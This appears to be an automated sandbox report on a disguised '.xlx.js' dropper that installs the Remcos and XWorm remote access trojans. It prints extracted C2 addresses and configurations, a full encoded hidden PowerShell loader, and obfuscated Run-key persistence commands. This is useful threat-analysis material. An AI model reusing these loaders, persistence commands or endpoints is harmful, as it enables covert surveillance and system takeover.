remcos | 4f53a3a7829566a809a4099715d85c4bda28fd4fc0e56daaa0e542678c55b878

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/08/2026, 13:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Statement of Account (SOA).xlx.js
Size 607KB
Sample260828-q2nvraytes
SHA256 4f53a3a7829566a809a4099715d85c4bda28fd4fc0e56daaa0e542678c55b878
MD5 6f87d2bdbc93956b766d2d3b6fccd969
SHA1 e4129069f384fa07d6167bd90fa17caeac675f9a
SHA512 0ca0142700934bfcfd79ee724c3ca0d1f13bf7e0c3c4feb1c2ecf36f302f9b84253d868525d759c49fcf1b8ceb7f2d749c3bf0a6e935fb18a569b2cb2924e2d3
SSDEEP 6144:7AHPKkMujVmdJAaR9BGISoIVRkGLOKbyqUinVknhQn5QO6:yGujVly9qvVftbyDiVknyn5QO6
TLSH
T1DBD4122167FE5119F2F3AF54AEF865A68D7EBDA26E36D05C1150028E0972E80CDB0737
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost execution remcos xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

169.58.169.10:7004

Mutex

BrJx77lWwrTOBp0t

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

remcos

Version

7.2.6 Pro

Botnet

RemoteHost

15.204.115.143:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
true
hide_keylog_file
true
install_flag
true
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-1A8F18
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

remcos

Version

7.3.0 Pro

Botnet

RemoteHost

15.204.115.143:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-6HOOF3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

remcos

Version

7.3.1 Pro

Botnet

RemoteHost

15.204.115.143:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
service.exe
copy_folder
System
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
true
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GGFXT5
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/6092-23-0x0000013338B60000-0x0000013338B70000-memory.dmp	family_xworm

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\	rgpydl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	rgpydl.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6092	powershell.exe
3	6092	powershell.exe
6	6112	powershell.exe
7	6112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6092	powershell.exe
6112	powershell.exe
3200	powershell.exe

Executes dropped EXE 8 IoCs

pid	Process
2584	rgpydl.exe
5672	remcos.exe
3796	ufmqcj.exe
4344	service.exe
4824	hxsxwq.exe
5340	hxsxwq.exe
5032	rsulctVQ.exe
4312	rsulctVQ.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	rgpydl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	rgpydl.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-1A8F18 = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-GGFXT5 = "\"C:\\ProgramData\\System\\service.exe\""	ufmqcj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-GGFXT5 = "\"C:\\ProgramData\\System\\service.exe\""	service.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-GGFXT5 = "\"C:\\ProgramData\\System\\service.exe\""	service.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-GGFXT5 = "\"C:\\ProgramData\\System\\service.exe\""	ufmqcj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\rsulctVQ = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$f0nhwi=7628;$eruqug=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$f0nhwi=7628;$10mbdl=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHJzdWxjdFZRLmV4ZQ==')));$f0nhwi=7628;& $eruqug -FilePath $10mbdl\""	hxsxwq.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/4824-97-0x0000027B65490000-0x0000027B654AA000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5672 set thread context of 2436	5672	remcos.exe	96
PID 4824 set thread context of 5340	4824	hxsxwq.exe	104
PID 5032 set thread context of 4312	5032	rsulctVQ.exe	108

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6092	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
6092	powershell.exe
6092	powershell.exe
6092	powershell.exe
6092	powershell.exe
6112	powershell.exe
6112	powershell.exe
6112	powershell.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	6092	powershell.exe
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
6092	powershell.exe
5672	remcos.exe
6112	powershell.exe
4344	service.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 5540 wrote to memory of 3152	5540	wscript.exe	89
PID 3152 wrote to memory of 6092	3152	conhost.exe	90
PID 6092 wrote to memory of 2584	6092	powershell.exe	94
PID 2584 wrote to memory of 5672	2584	rgpydl.exe	95
PID 5672 wrote to memory of 2436	5672	remcos.exe	96
PID 6092 wrote to memory of 2360	6092	powershell.exe	98
PID 2360 wrote to memory of 3696	2360	WScript.exe	99
PID 3696 wrote to memory of 6112	3696	conhost.exe	100
PID 6092 wrote to memory of 3796	6092	powershell.exe	101
PID 3796 wrote to memory of 4344	3796	ufmqcj.exe	102
PID 6092 wrote to memory of 4824	6092	powershell.exe	103
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 4824 wrote to memory of 5340	4824	hxsxwq.exe	104
PID 3200 wrote to memory of 5032	3200	powershell.exe	107
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108
PID 5032 wrote to memory of 4312	5032	rsulctVQ.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Statement of Account (SOA).xlx.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:5540
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABzAGEATAB4AEsAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEANAA2ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB5AEwASAB6AGQAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA5ADQANwA5ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABYAGEASABtAEwASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHMAYQBMAHgASwBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB5AEwASAB6AGQAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABzAGEATAB4AEsAQgAsACQAeQBMAEgAegBkAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBuAG0AQQB4AGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWABhAEgAbQBMAEgAKQA7ACQAagBlAGYATgBoAFcAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByACcAKwAnAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAEIARABHAHUARABzAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAQgBEAEcAdQBEAHMAPQAkAEIARABHAHUARABzADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAagBlAGYATgBoAFcAKQA7ACQAbQBsAGQAdgBDAHcAPQA3ADAANQA4ADIAOwAkAEIARABHAHUARABzAC4ATQBvAGQAZQA9ADEAOwAkAFAAaQBDAGgAZgBkAD0AJwB4AHcAUQBwAGkARQAnADsAJABuAHUAbABsAD0AJABQAGkAQwBoAGYAZAAuAEwAZQBuAGcAdABoADsAJABCAEQARwB1AEQAcwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABZAGIAWgBBAGcAawA9ADQAMQA1ADIAOwAkAFoAQgBUAE0AegBoAD0AJABZAGIAWgBBAGcAawAqADgAKwAxADMAOwAkAEIARABHAHUARABzAC4ASwBlAHkAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADEALAAwAHgANQBEACwAMAB4ADcARgAsADAAeAA3ADcALAAwAHgAOQAyACwAMAB4ADIAQQAsADAAeAA4ADQALAAwAHgANQBGACwAMAB4ADgAMQAsADAAeABCADQALAAwAHgANQAyACwAMAB4AEUAMQAsADAAeABEAEYALAAwAHgAOQBBACwAMAB4ADUAMwAsADAAeAA0ADIAKQA7ACQAQgBEAEcAdQBEAHMALgBJAFYAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3ADcALAAwAHgAQwBGACwAMAB4AEIANwAsADAAeAA5ADAALAAwAHgAMQBEACwAMAB4AEQAOAAsADAAeAA5AEQALAAwAHgAMgBBACwAMAB4AEQAMgAsADAAeAA1ADgALAAwAHgAMwA3ACwAMAB4ADYAMAAsADAAeABFADcALAAwAHgAMwBBACwAMAB4ADkAMAAsADAAeAAxADMAKQA7ACQAdQBsAFgAVwB2AHYAPQA5ADgANAAxADsAJABXAEUAWAB3AHMAVAA9ACQAdQBsAFgAVwB2AHYAKgA0ACsANgA1ADsAJABWAEYAUwBoAEgATQA9ACcAQwByAGUAYQB0AGUARABlACcAKwAnAGMAcgB5AHAAdABvAHIAJwA7ACQAdwBUAEQARgBLAHoAPQAkAEIARABHAHUARABzAC4AJABWAEYAUwBoAEgATQAoACkAOwAkAE8AagBjAGIAVQBlAD0AQAAoADEAMwAwACwANwA5ACwAMwAxACkAOwAkAG4AdQBsAGwAPQAkAE8AagBjAGIAVQBlAC4AQwBvAHUAbgB0ADsAJABhAFMAaQBMAGQATAA9ACcAVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AJwArACcAYQBsACcAKwAnAEIAbABvAGMAawAnADsAJABLAFkAYgBuAFYAWAA9ACQAdwBUAEQARgBLAHoALgAkAGEAUwBpAEwAZABMACgAJAByAG4AbQBBAHgAawAsADAALAAkAHIAbgBtAEEAeABrAC4ATABlAG4AZwB0AGgAKQA7ACQATwB0AGYAYwBGAEQAPQAnAHoATABPAGkAaQBYACcAOwAkAG4AdQBsAGwAPQAkAE8AdABmAGMARgBEAC4ATABlAG4AZwB0AGgAOwAkAHUAVQBTAHIAWAB4AD0AJwBTAHkAJwArACcAcwB0ACcAKwAnAGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACcAOwAkAHEATwBOAFQAUABQAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdQBVAFMAcgBYAHgAKAAsACQASwBZAGIAbgBWAFgAKQA7ACQAUwBhAHIAbgBwAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB1AFUAUwByAFgAeAA7ACQAegBnAGsAQgB6AFUAPQAyADAAMQA1ADsAJAB6AGkAaQBWAGMATgA9ACQAegBnAGsAQgB6AFUAKgAyACsANQA1ADsAJABhAGgAZABGAFMAUwA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAJwArACcAaQBwAFMAdAAnACsAJwByAGUAYQBtACcAOwAkAGMARQBYAFEAZgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAYQBoAGQARgBTAFMAKAAkAHEATwBOAFQAUABQACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAcAB4AFcAaQBLAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGIAVwBKAFQAUQB5AD0AJABjAEUAWABRAGYASgAuAFIAZQBhAGQAKAAkAHAAeABXAGkASwBoACwAMAAsACQAcAB4AFcAaQBLAGgALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAFMAYQByAG4AcABpAC4AVwByAGkAdABlACgAJABwAHgAVwBpAEsAaAAsADAALAAkAGIAVwBKAFQAUQB5ACkAfQA7ACQAaQBGAHkAeQBJAEIAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMwA1ADUANQAvADEAOQApADsAJABLAFkAYgBuAFYAWAA9ACQAUwBhAHIAbgBwAGkALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQATwBFAFcAUgBIAGQAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAJwArACcAZQBtACcAKwAnAGIAbAB5ACcAKQA7ACQAaQBvAG8AeAByAFoAPQAkAE8ARQBXAFIASABkADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAEsAWQBiAG4AVgBYACkAOwAkAEkAUwBwAGsAZQB1AD0AJwBFAG4AdAByACcAKwAnAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAGcAWQBrAFMAZABrAD0AJABpAG8AbwB4AHIAWgAuACQASQBTAHAAawBlAHUAOwAkAGcAWQBrAFMAZABrAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABzAGEATAB4AEsAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEANAA2ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB5AEwASAB6AGQAegA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA5ADQANwA5ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABYAGEASABtAEwASAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAHMAYQBMAHgASwBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB5AEwASAB6AGQAegApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABzAGEATAB4AEsAQgAsACQAeQBMAEgAegBkAHoAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBuAG0AQQB4AGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWABhAEgAbQBMAEgAKQA7ACQAagBlAGYATgBoAFcAPQAnAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByACcAKwAnAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAEIARABHAHUARABzAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAQgBEAEcAdQBEAHMAPQAkAEIARABHAHUARABzADoAOgAoACcAQwByAGUAYQB0AGUASQBuAHMAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAagBlAGYATgBoAFcAKQA7ACQAbQBsAGQAdgBDAHcAPQA3ADAANQA4ADIAOwAkAEIARABHAHUARABzAC4ATQBvAGQAZQA9ADEAOwAkAFAAaQBDAGgAZgBkAD0AJwB4AHcAUQBwAGkARQAnADsAJABuAHUAbABsAD0AJABQAGkAQwBoAGYAZAAuAEwAZQBuAGcAdABoADsAJABCAEQARwB1AEQAcwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABZAGIAWgBBAGcAawA9ADQAMQA1ADIAOwAkAFoAQgBUAE0AegBoAD0AJABZAGIAWgBBAGcAawAqADgAKwAxADMAOwAkAEIARABHAHUARABzAC4ASwBlAHkAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADEALAAwAHgANQBEACwAMAB4ADcARgAsADAAeAA3ADcALAAwAHgAOQAyACwAMAB4ADIAQQAsADAAeAA4ADQALAAwAHgANQBGACwAMAB4ADgAMQAsADAAeABCADQALAAwAHgANQAyACwAMAB4AEUAMQAsADAAeABEAEYALAAwAHgAOQBBACwAMAB4ADUAMwAsADAAeAA0ADIAKQA7ACQAQgBEAEcAdQBEAHMALgBJAFYAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3ADcALAAwAHgAQwBGACwAMAB4AEIANwAsADAAeAA5ADAALAAwAHgAMQBEACwAMAB4AEQAOAAsADAAeAA5AEQALAAwAHgAMgBBACwAMAB4AEQAMgAsADAAeAA1ADgALAAwAHgAMwA3ACwAMAB4ADYAMAAsADAAeABFADcALAAwAHgAMwBBACwAMAB4ADkAMAAsADAAeAAxADMAKQA7ACQAdQBsAFgAVwB2AHYAPQA5ADgANAAxADsAJABXAEUAWAB3AHMAVAA9ACQAdQBsAFgAVwB2AHYAKgA0ACsANgA1ADsAJABWAEYAUwBoAEgATQA9ACcAQwByAGUAYQB0AGUARABlACcAKwAnAGMAcgB5AHAAdABvAHIAJwA7ACQAdwBUAEQARgBLAHoAPQAkAEIARABHAHUARABzAC4AJABWAEYAUwBoAEgATQAoACkAOwAkAE8AagBjAGIAVQBlAD0AQAAoADEAMwAwACwANwA5ACwAMwAxACkAOwAkAG4AdQBsAGwAPQAkAE8AagBjAGIAVQBlAC4AQwBvAHUAbgB0ADsAJABhAFMAaQBMAGQATAA9ACcAVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AJwArACcAYQBsACcAKwAnAEIAbABvAGMAawAnADsAJABLAFkAYgBuAFYAWAA9ACQAdwBUAEQARgBLAHoALgAkAGEAUwBpAEwAZABMACgAJAByAG4AbQBBAHgAawAsADAALAAkAHIAbgBtAEEAeABrAC4ATABlAG4AZwB0AGgAKQA7ACQATwB0AGYAYwBGAEQAPQAnAHoATABPAGkAaQBYACcAOwAkAG4AdQBsAGwAPQAkAE8AdABmAGMARgBEAC4ATABlAG4AZwB0AGgAOwAkAHUAVQBTAHIAWAB4AD0AJwBTAHkAJwArACcAcwB0ACcAKwAnAGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACcAOwAkAHEATwBOAFQAUABQAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdQBVAFMAcgBYAHgAKAAsACQASwBZAGIAbgBWAFgAKQA7ACQAUwBhAHIAbgBwAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB1AFUAUwByAFgAeAA7ACQAegBnAGsAQgB6AFUAPQAyADAAMQA1ADsAJAB6AGkAaQBWAGMATgA9ACQAegBnAGsAQgB6AFUAKgAyACsANQA1ADsAJABhAGgAZABGAFMAUwA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAJwArACcAaQBwAFMAdAAnACsAJwByAGUAYQBtACcAOwAkAGMARQBYAFEAZgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAYQBoAGQARgBTAFMAKAAkAHEATwBOAFQAUABQACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAcAB4AFcAaQBLAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGIAVwBKAFQAUQB5AD0AJABjAEUAWABRAGYASgAuAFIAZQBhAGQAKAAkAHAAeABXAGkASwBoACwAMAAsACQAcAB4AFcAaQBLAGgALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAFMAYQByAG4AcABpAC4AVwByAGkAdABlACgAJABwAHgAVwBpAEsAaAAsADAALAAkAGIAVwBKAFQAUQB5ACkAfQA7ACQAaQBGAHkAeQBJAEIAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAMwA1ADUANQAvADEAOQApADsAJABLAFkAYgBuAFYAWAA9ACQAUwBhAHIAbgBwAGkALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQATwBFAFcAUgBIAGQAPQBbAHQAeQBwAGUAXQAoACcAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAJwArACcAZQBtACcAKwAnAGIAbAB5ACcAKQA7ACQAaQBvAG8AeAByAFoAPQAkAE8ARQBXAFIASABkADoAOgAoACcATABvACcAKwAnAGEAZAAnACkAKAAkAEsAWQBiAG4AVgBYACkAOwAkAEkAUwBwAGsAZQB1AD0AJwBFAG4AdAByACcAKwAnAHkAUAAnACsAJwBvAGkAJwArACcAbgB0ACcAOwAkAGcAWQBrAFMAZABrAD0AJABpAG8AbwB4AHIAWgAuACQASQBTAHAAawBlAHUAOwAkAGcAWQBrAFMAZABrAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkA
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:6092
  - - C:\Users\Admin\AppData\Local\Temp\rgpydl.exe
      "C:\Users\Admin\AppData\Local\Temp\rgpydl.exe"
      4⤵
      Adds policy Run key to start application
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2584
    - - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        5⤵
        Adds policy Run key to start application
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:5672
      - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        6⤵
        
        PID:2436
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jxjewr.js"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3696
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -NoP -EP Bypass -NonInteractive -File C:\Users\Admin\AppData\Local\Temp\1yz9mtd08u2g\1yz9mtd08u2g.ps1
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
